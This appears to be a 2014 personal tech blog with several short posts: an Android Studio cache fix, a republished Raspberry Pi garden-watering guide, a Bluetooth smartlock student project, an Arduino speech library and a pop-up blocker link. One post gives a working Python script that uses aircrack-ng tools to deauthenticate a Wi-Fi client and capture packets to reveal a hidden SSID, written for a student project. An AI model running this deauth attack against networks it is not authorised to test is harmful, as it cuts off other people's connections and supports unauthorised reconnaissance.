September 20, 2014

Android Studio : can't find resources

I just started using Android Studio (had too much of Eclipse lately), just to get myself comfortable with it.

For some reason, I kept having these problems where Android Studio failed to locate the new files that I just dropped into the project folder.

Well, this fix it

File>>Invalidate Caches\Restart>>Invalidate and Restart.



September 13, 2014

Aliffah's FYP Presentation

Aliffah just did her final year presentation last week.

Oh yes, I managed to seduce her to do a Raspberry Pi-related project.

Kudos me :-)



GardenPi: Taking care of your garden with Raspberry Pi

I want to start collecting Raspberry Pi's based projects so that when time comes (and as they becomes financially do-able), I'll be able to build a couple of these useful ones. You know, never stop learning, never stop innovating.

This one is not like any micro-controller based garden watering systems. It uses weather forecast (forecast.io API) to determine whether or not the watering should be done for the day! Sounds good, right?

I don't want these to be lost when the articles got deleted or the website becomes unavailable. So, I'd a copy of the articles here and put the reference where it's due.

Project Name : GardenPI
Project Reference : LINK

--------

Like any good “lazy programmer,” I’m always looking for ways to automate. This spring’s project: monitoring and watering my garden. I had a wifi-enabled Raspberry Pi laying around and decided to put it to good use. For this project I wanted to do better than just a glorified timer. The goal: An automated watering system that can use the weather forecast, soil, light, and temperature sensors to keep my garden looking great all summer.
Phase 1 : Timer and Forecast-based Watering
I’ve written a simple script that wakes up at 10PM, determines the likelihood of rain, and waters accordingly. The script looks up the forecast using the Forecast.io API. If there is less than a 50% chance of rain, the GardenPi will water for a short duration.
Future phases (already underway) will include sensors for temperature, soil moisture, light, and humidity. Based on that information, the GardenPi will be able to make better watering decisions. The sensor data could be made available via an onboard website or mobile application. Better sensors, form factor, time lapse, and user interface are all things that I’ll be looking at for future versions.
I’ve learned a lot in the last few weeks from building this project — a little bit more about basic electronics, how to solder, how to draw up schematics, and the joy of building actual gizmos that serve a purpose. I’ve also learned that I’m not the only one doing this kind of project with the Raspberry Pi; I’ve included links to other projects at the end of this post.
Required Parts (approx. cost ~$85)
  • Raspberry Pi
  • USB Wifi Dongle
  • SD Card
  • Soaker / Drip hose throughout the garden
  • Solenoid for turning on the soaker hose
  • A female hose swivel adapter to connect your garden hose to the solenoid
  • Relay for switching 12V power
  • 12V / Raspberry Pi power supplies
  • Assorted electronics (breadboard, resistors, wires, LED)
  • High tech weather resistant case (aka medium sized Tupperware container)
Schematics
Getting Rpi ready
  1. Install Raspbian and configure WiFi access.
  2. Install Ruby for root user.
  3. Run gem install god.
  4. Pull the garden_pi_waterer repository && bundle install to install dependencies.
  5. Modify the parameters (forecast.io API key, timing info, etc.) in environment.rb.
  6. Build out breakout board (see schematic below).
  7. Connect the solenoid between water source and soaker hose, taking note of the directional arrow on the solenoid and using the adapter to connect the male end of your garden hose to the input on the solenoid.
  8. Power up the Pi and your 12V power supply.
  9. Install install/init.d to /etc/init.d/god and follow instructions in that file
  10. Install god.conf to /home/pi
  11. Restart and enjoy.
Results

I’ve watered my garden with a Raspberry Pi. Success. There is a lot of room for improvement, and I’m looking forward to extending the GardenPi’s capabilities.

September 11, 2014

My Final Year Project (CSBS) presentation

Below are the slides that I used during my final year project presentation. Basically, CSBS stands for Configurable Steganography Bluetooth-enabled Smartlock. In short, it uses the Bluetooth capabilities that exist in almost all smartphones to unlock the door.

There are many similar projects, and some of their products are already in the market (Kevo, Goji). However, the different is that they are using Bluetooth 4.0 aka Bluetooth Low Energy (BLE) or Wifi. BLE exists only on newer smartphones and you need Wifi, well, you need the coverage to make it work. Plus, making your door connected to the internet might not really be a good thing (the Internet of Things downside).

We attempted to make it work on Bluetooth 2.0 (the conventional one). I must say, given some financial help, I'd go making this project a real thing.

Chrome Pop Up blocker


If you browse the internet for so long, you'll understand the pain of closing those annoying pop ups. Some Ad Blocker can close those pop ups that comes in a new window. But some does not work on the one that pop up as a new tab.

Well, this one does

Get it HERE


September 9, 2014

Python script : SSID sniffer, De-auth attack and Packets capturing using Aircrack-ng and tshark

I was asked by my friend, Atikah to write some Python scripts for her final year project. The project involves discovering the hidden SSID of surrounding Wifi networks. Getting the non-hidden SSID is a matter of turning on the wireless card. For hidden SSID, the trick is to capture the authorization packets sent by the connected client to that Wifi network and get the SSID from the packet.

To do, we do "De-Auth attack" on that specific client. As a result, we disconnect it from the Wifi network. Once it's disconnected, it will try to reconnect to the Wifi network automatically by sending the "authorization" packets to that Wifi's Access Point.

We then capture these packets and analyse it for information.

#!/usr/bin/env python

import os

from time import sleep

print "1 - Put the wireless card to monitor mode."

print "2 - Sniff for surrounding wireless network and list all BSSIDs"
print "3 - Perform deAuth attack to a client from an AP"
print "4 - Capture packets into a file and examine it (if "
print " "
print "IMPORTANT NOTE: Press CNTRL+C to stop both the sniffing process and packets capture process"
sleep(5) #pause for 3 seconds so user can read the info

try:

    os.system("airmon-ng start wlan0") #set wireless card to monitor mode
    sleep(5) #pause for 5 seconds so user can read the info
    print "wireless card is set to monitor mode. Start sniffing..."
    os.system("airodump-ng mon0") #start probing local wireless network
except KeyboardInterrupt:
    print "nothing";

print "Sniffing process stopped."

print "Lets start deAuth attack. Pick an AP and a connected client"
bssid = raw_input("Enter the MAC address of the hidden SSID of an AP (BSSID) : ")
station = raw_input("Enter the MAC address of connected client (STATION) : ")

try:

    print "Start deAuth attack..."
    os.system("aireplay-ng --deauth 10 -a %s -c %s mon0 --ignore-negative-one" % (bssid, station)) #send deAuth packets to the AP
except KeyboardInterrupt:
    print "nothing";

print " "

print "deAuth attack is stopped. At this point, the client is trying to re-authenticate with the AP"
print "Lets capture the packets"
sleep(5) #pause for 3 seconds so user can read the info

try:

    os.system("airodump-ng --bssid %s -w captured_packet mon0" %(bssid))
except KeyboardInterrupt:
    print "nothing"

print "The captured packets are saved to a file in the same directory - captured_packet.cap"

print " "
print "Displaying the first 20 captured packets..."
os.system("tshark -r 'wlan.bssid == %s' -r captured_packet-01.cap | grep SSID | sed 's/^.*SSID=//' | sort | uniq" % bssid)
print "end"

Make your Arduino talk! (Speech Synthesiser or Text-To-Speech library)

The other day I was asked by Joe to help him with a project (more about it later), which needs to produce sound, or in a simplest way, speak. I list here the simplest possible ways to do it.

 1. Cantarino

http://code.google.com/p/tinkerit/wiki/Cantarino

2. Text-To-Speech library
    Source : forum.arduino.cc

    Some RC filter circuit and Amp need to be constructed at the output to produce the sound.
 
Download it here : Download